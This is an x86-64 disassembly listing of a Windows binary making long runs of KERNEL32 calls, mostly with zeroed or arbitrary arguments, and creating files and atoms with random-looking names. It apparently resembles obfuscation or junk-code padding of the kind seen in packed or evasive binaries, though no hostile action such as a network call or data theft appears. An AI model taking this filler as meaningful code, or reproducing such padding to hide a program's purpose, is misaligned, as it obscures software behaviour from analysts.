call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
mov rax, qword [rsp + 0x95c8]
mov rax, qword [rax]
mov qword [rsp + 0x9930], rax
lea rdx, [rsp + 0x9928]
mov rcx, qword [rsp + 0x8c98]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x49dc], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov dword [rsp + 0x20], 0x5bb
mov r9d, 0x38c3
mov r8d, 0x3ad1
mov edx, 0x313e
mov rcx, qword [rsp + 0x93c0]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x498c], eax
mov rax, qword [0x14024f398]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x270]
sub eax, ecx
mov byte [rsp + 0x205], al
mov rax, qword [rsp + 0x9720]
mov rcx, qword [rsp + 0x9868]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x96a0], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x9938], rax
mov rax, qword [rsp + 0x8e78]
movzx eax, byte [rax]
mov byte [rsp + 0x281], al
mov rax, qword [rsp + 0x9160]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1cf]
and eax, ecx
mov byte [rsp + 0xef], al
xor r9d, r9d
lea r8, [rsp + 0x8df0]
mov rdx, qword [rsp + 0x96f0]
mov rcx, qword [rsp + 0x8fa0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4940], eax
lea rax, [rsp + 0x1000]
mov qword [rsp + 0x9940], rax
mov rax, qword [rsp + 0x8e00]
mov ecx, dword [rsp + 0x46c4]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4314], eax
xor r8d, r8d
mov edx, 8
lea rcx, [rsp + 0x1f800]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x49e0], eax
movzx ecx, word [rsp + 0xfbc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xff4], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9500], rax
mov dword [rsp + 0x1fec0], 0x11c
mov rax, qword [rsp + 0x9630]
mov eax, dword [rax]
mov rcx, qword [0x14024f340]
mov qword [rsp + 0x9948], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9948]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x98a8]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
movzx ecx, word [rsp + 0xf34]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf44], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
movzx eax, word [rsp + 0xeec]
mov rcx, qword [rsp + 0x9780]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [0x14024f360]
mov word [rcx], ax
mov rax, qword [rsp + 0x9888]
mov rcx, qword [rsp + 0x93b0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x88b0], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9950], rax
mov rcx, qword [rsp + 0x9328]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rcx, [rsp + 0x1fec0]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x46f4], eax
mov edx, 0x155
mov rcx, qword [rsp + 0x9328]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x49e4], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9648], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
mov rax, qword [rsp + 0x98f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x96c0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9820]
mov word [rcx], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
mov eax, dword [rsp + 0x46e8]
mov dword [rsp + 0x49e8], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.MchkW48RCDOAi7UK
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x9958], rax
mov rax, qword [0x14024f358]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8e18]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x281], al
mov rax, qword [rsp + 0x9848]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x49d8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x49b4], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
mov qword [rsp + 0x20], 0
mov r9d, 0x18b7
mov r8d, 0x3863
mov edx, 0x27
mov rcx, qword [rsp + 0x8fa0]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x49a0], eax
movzx ecx, word [rsp + 0xf14]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x100c], ax
mov dword [rsp + 0x20], 0x382b
mov r9d, 0x177d
mov r8d, 0x202a
mov edx, 0x35af
mov rcx, qword [rsp + 0x95e8]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x492c], eax
movzx ecx, word [rsp + 0xf44]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1010], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MulDiv]
mov edx, 0x1f4d
mov rcx, qword [rsp + 0x9758]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4930], eax
lea rcx, [rsp + 0x9960]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov r9d, 0x1b17
xor r8d, r8d
lea rdx, [rsp + 0x8df8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4700], eax
movsx eax, byte [rsp + 0x275]
mov rcx, qword [rsp + 0x8ef0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x14b], al
lea rdx, [rsp + 0x9968]
mov rcx, qword [rsp + 0x8b80]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x48f4], eax
movsx eax, word [rsp + 0xfe8]
movsx ecx, word [rsp + 0xf74]
add eax, ecx
mov word [rsp + 0xb4c], ax
mov rax, qword [rsp + 0x9270]
mov rax, qword [rax]
mov qword [rsp + 0x9970], rax
mov rcx, qword [rsp + 0x9818]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, qword [rsp + 0x96b0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x8e60]
mov rcx, qword [rsp + 0x93b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4654], eax
mov rax, qword [rsp + 0x9780]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8f20]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14024f394], ax
movzx eax, byte [rsp + 0x274]
mov rcx, qword [rsp + 0x9730]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8e18]
mov byte [rcx], al
movzx ecx, word [rsp + 0xff4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf10], ax
mov rax, qword [rsp + 0x7b28]
mov qword [rsp + 0x9978], rax
lea rcx, str.OaNf.UllyuBMA1maD_VCh0ZZQ
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1014], ax
mov rax, qword [rsp + 0x97c8]
mov rcx, qword [rsp + 0x9578]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9608]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x9668]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, qword [rsp + 0x9178]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx ecx, word [rsp + 0xf28]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1018], ax
lea rcx, [rsp + 0x9610]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov r9d, 1
lea r8, [rsp + 0x9810]
mov rdx, qword [rsp + 0x9278]
mov rcx, qword [rsp + 0x9168]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4840], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor r8d, r8d
mov edx, 8
lea rcx, [rsp + 0x1f6e0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4900], eax
lea rax, [rsp + 0xf90]
mov qword [rsp + 0x9980], rax
mov eax, dword [rsp + 0x48b4]
mov ecx, dword [rsp + 0x4668]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x96a8]
mov dword [rcx], eax
lea rcx, [rsp + 0x8d50]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rax, [rsp + 0x27d]
mov qword [rsp + 0x9988], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
mov rax, qword [rsp + 0x9858]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9628]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x9b8], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x9990], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
lea rdx, [rsp + 0x8ee8]
mov rcx, qword [rsp + 0x96d8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4990], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x9998], rax
mov rax, qword [rsp + 0x95b0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9730]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x274], al
mov edx, 0xb71
mov rcx, qword [rsp + 0x9938]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4980], eax
lea rax, [rsp + 0x464c]
mov qword [0x14024f328], rax
mov rax, qword [rsp + 0x94f8]
mov rcx, qword [rsp + 0x9868]
mov qword [rsp + 0x99a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x99a0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x8848], rax
mov rax, qword [rsp + 0x8290]
mov rcx, qword [rsp + 0x8cf8]
mov qword [rsp + 0x99a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x99a8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9978], rax
lea rax, [rsp + 0xfc4]
mov qword [rsp + 0x99b0], rax
mov rax, qword [rsp + 0x93e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x491c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8e00]
mov dword [rcx], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
movsx eax, word [rsp + 0xa54]
movsx ecx, word [rsp + 0xc28]
and eax, ecx
mov word [rsp + 0xf54], ax
mov rax, qword [rsp + 0x9008]
mov rax, qword [rax]
mov qword [rsp + 0x99b8], rax
mov rax, qword [rsp + 0x9748]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x98a0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x27f], al
lea rax, [rsp + 0x47b4]
mov qword [rsp + 0x99c0], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x99c8], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9918], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
movzx ecx, word [rsp + 0xf88]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1010], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rcx, qword [rsp + 0x96d0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
lea rcx, [rsp + 0x95d0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx eax, byte [rsp + 0x257]
mov rcx, qword [rsp + 0x9218]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14024f388], al
movzx eax, byte [rsp + 0x1d3]
mov rcx, qword [0x14024f348]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x26a], al
mov rax, qword [rsp + 0x9630]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4738]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x47d0], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov rax, qword [rsp + 0x9780]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8e58]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x600], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x99d0], rax
mov eax, dword [rsp + 0x4764]
mov ecx, dword [0x14022fb5c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9848]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9878], rax
lea rax, [rsp + 0x27a]
mov qword [rsp + 0x99d8], rax
movsx eax, word [rsp + 0xf78]
mov rcx, qword [rsp + 0x9518]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf38], ax
mov rcx, qword [rsp + 0x9188]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x482c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov dword [rsp + 0x20], 0x1603
mov r9d, 0x18c0
mov r8d, 0x2ac0
mov edx, 0x1f32
mov rcx, qword [rsp + 0x9770]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4900], eax
lea rax, [rsp + 0xee]
mov qword [rsp + 0x99e0], rax
mov rax, qword [rsp + 0x9778]
mov rcx, qword [rsp + 0x93b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x42f4], eax
mov rax, qword [rsp + 0x9780]
movzx eax, word [rax]
mov word [0x14024f320], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.xMvdRJLCIpai1QW1QgXhxhiQxGlg
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x99e8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov rax, qword [rsp + 0x8848]
mov rcx, qword [0x14022fb60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9978], rax
mov r9d, 1
lea r8, [rsp + 0x9908]
mov rdx, qword [rsp + 0x8d50]
mov rcx, qword [rsp + 0x9540]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4964], eax
lea rax, [rsp + 0x95e0]
mov qword [rsp + 0x99f0], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x99f8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9718], rax
lea rcx, [rsp + 0x9760]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x9978]
movzx ecx, al
mov rax, qword [rsp + 0x98b8]
sar rax, cl
mov qword [rsp + 0x96a0], rax
lea rcx, str.N2GVsmxtTCC
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x101c], ax
lea rcx, [rsp + 0x9968]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
movzx ecx, word [rsp + 0xfe4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xee0], ax
lea rax, [rsp + 0xfc4]
mov qword [rsp + 0x9a00], rax
mov rax, qword [rsp + 0x97f0]
mov rcx, qword [rsp + 0x95c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x9208], rax
mov rcx, qword [rsp + 0x9678]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x49ec], eax
mov rax, qword [rsp + 0x9160]
movsx eax, byte [rax]
cdq
mov ecx, 0x61
idiv ecx
mov rcx, qword [rsp + 0x8f98]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTapeStatus]
lea rcx, [rsp + 0x8d50]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8d48], rax
mov eax, dword [rsp + 0x4864]
mov dword [rsp + 0x49f0], eax
movsx eax, word [rsp + 0x1000]
movsx ecx, word [rsp + 0xf78]
or eax, ecx
mov word [rsp + 0xf38], ax
mov dword [rsp + 0x1ffe0], 0x11c
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x33ba
mov r9d, 0x1a99
mov r8d, 0x305928fd
mov edx, 1
mov rcx, qword [rsp + 0x9168]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x49e0], eax
mov rax, qword [rsp + 0x8f18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1a3]
shl eax, cl
mov rcx, qword [0x14024f358]
mov byte [rcx], al
mov rax, qword [rsp + 0x9630]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4738]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x409c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8d48], rax
mov rax, qword [rsp + 0x8e10]
mov ecx, dword [rsp + 0x40d4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4948], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
movzx ecx, word [rsp + 0xfd0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1010], ax
movzx eax, word [rsp + 0x600]
mov rcx, qword [0x14024f360]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x99b0]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x8e78]
movzx eax, byte [rax]
mov byte [rsp + 0x282], al
movzx ecx, word [rsp + 0xef8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf4c], ax
mov rax, qword [rsp + 0x9568]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x97d0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9748]
mov byte [rcx], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
mov rax, qword [rsp + 0x96e8]
movzx eax, word [rax]
mov word [rsp + 0x1020], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov eax, dword [rsp + 0x4478]
mov ecx, dword [rsp + 0x46c4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x496c], eax
mov rax, qword [rsp + 0x99f0]
mov rcx, qword [rsp + 0x93b0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x97c8]
mov qword [rcx], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rax, qword [rsp + 0x9778]
mov eax, dword [rax]
mov ecx, dword [0x14024f3b8]
sub ecx, eax
mov eax, ecx
mov dword [0x14022fb7c], eax
mov rcx, qword [rsp + 0x8df8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov dword [rsp + 0x20], 0x1906
mov r9d, 0x13d2
mov r8d, 0x2f96
mov edx, 0x30c0
mov rcx, qword [rsp + 0x95e8]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4974], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x9a00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9530]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x6fc], ax
mov rax, qword [rsp + 0x9640]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x274]
add eax, ecx
mov rcx, qword [rsp + 0x99e0]
mov byte [rcx], al
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
mov edx, 0xc42
mov rcx, qword [rsp + 0x9728]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x48c4], eax
mov rax, qword [rsp + 0x95c8]
mov rax, qword [rax]
mov qword [rsp + 0x9a08], rax
mov dword [rsp + 0x20100], 0x11c
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9850], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov rax, qword [rsp + 0x8cf8]
mov rcx, qword [rsp + 0x8d38]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7cb8], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x23a3
mov r9d, 0x22df
mov r8d, 0xc6eca739
mov edx, 1
mov rcx, qword [rsp + 0x99e8]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x49f4], eax
mov r9d, 1
lea r8, [rsp + 0x9908]
mov rdx, qword [rsp + 0x8f90]
mov rcx, qword [rsp + 0x9840]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4950], eax
lea rcx, [rsp + 0x97d8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rcx, str.MsKBgxT0_EUIim74c_pVHM
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1024], ax
lea rdx, [rsp + 0x9278]
mov rcx, qword [rsp + 0x96d8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4954], eax
mov rax, qword [rsp + 0x9528]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x154]
xor eax, ecx
mov byte [rsp + 0x190], al
movsx eax, word [rsp + 0xf60]
movsx ecx, word [rsp + 0xf48]
sar eax, cl
mov rcx, qword [rsp + 0x9518]
mov word [rcx], ax
xor r9d, r9d
lea r8, [rsp + 0x9928]
mov rdx, qword [rsp + 0x97d8]
mov rcx, qword [rsp + 0x95e8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x49f8], eax
mov eax, dword [0x14022fb5c]
movzx ecx, al
mov eax, dword [rsp + 0x4644]
shl eax, cl
mov rcx, qword [rsp + 0x8e00]
mov dword [rcx], eax
mov edx, 0x1bab
mov rcx, qword [rsp + 0x8d20]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x49c0], eax
lea rax, [rsp + 0x4228]
mov qword [rsp + 0x9a10], rax
movzx eax, byte [rsp + 0x1d3]
mov rcx, qword [rsp + 0x9640]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [0x14024f398]
mov byte [rcx], al
lea rcx, [rsp + 0x1a558]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov qword [rsp + 0x20], 0
mov r9d, 0x23a3
mov r8d, 0x22df
mov edx, 0xd6
mov rcx, qword [rsp + 0x99e8]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x49b8], eax
mov rax, qword [rsp + 0x9820]
movzx eax, word [rax]
cdq
mov ecx, 0x39c
idiv ecx
mov word [rsp + 0xdec], ax
mov rax, qword [rsp + 0x9608]
mov rax, qword [rax]
mov qword [rsp + 0x9a18], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
mov rax, qword [rsp + 0x9010]
mov rcx, qword [rsp + 0x9688]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x93b0], rax
movzx ecx, word [rsp + 0x1004]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1028], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
movzx eax, byte [rsp + 0x277]
movzx ecx, byte [rsp + 0x1a3]
sub eax, ecx
mov byte [rsp + 0x279], al
mov rcx, qword [rsp + 0x8f70]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4920], eax
movzx ecx, word [rsp + 0xee8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x102c], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
xor r8d, r8d
mov edx, 0x10
lea rcx, [rsp + 0x1f920]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x49ec], eax
lea rdx, [rsp + 0x9610]
mov rcx, qword [rsp + 0x8fa0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x49fc], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
xor r8d, r8d
mov edx, 0x80
lea rcx, [rsp + 0x1f800]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4a00], eax
mov rax, qword [rsp + 0x9658]
movzx eax, byte [rax]
mov byte [rsp + 0x283], al
mov rax, qword [rsp + 0x9980]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xfc8]
sub eax, ecx
mov rcx, qword [rsp + 0x96e8]
mov word [rcx], ax
lea rcx, [rsp + 0x1a4f8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rax, [rsp + 0x4908]
mov qword [rsp + 0x9a20], rax
lea rcx, str.N6_8TOD_FpsC
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1028], ax
mov rax, qword [rsp + 0x99b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf00]
add eax, ecx
mov word [rsp + 0x6d8], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommMask]
lea rcx, [rsp + 0x1a558]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 4
xor r9d, r9d
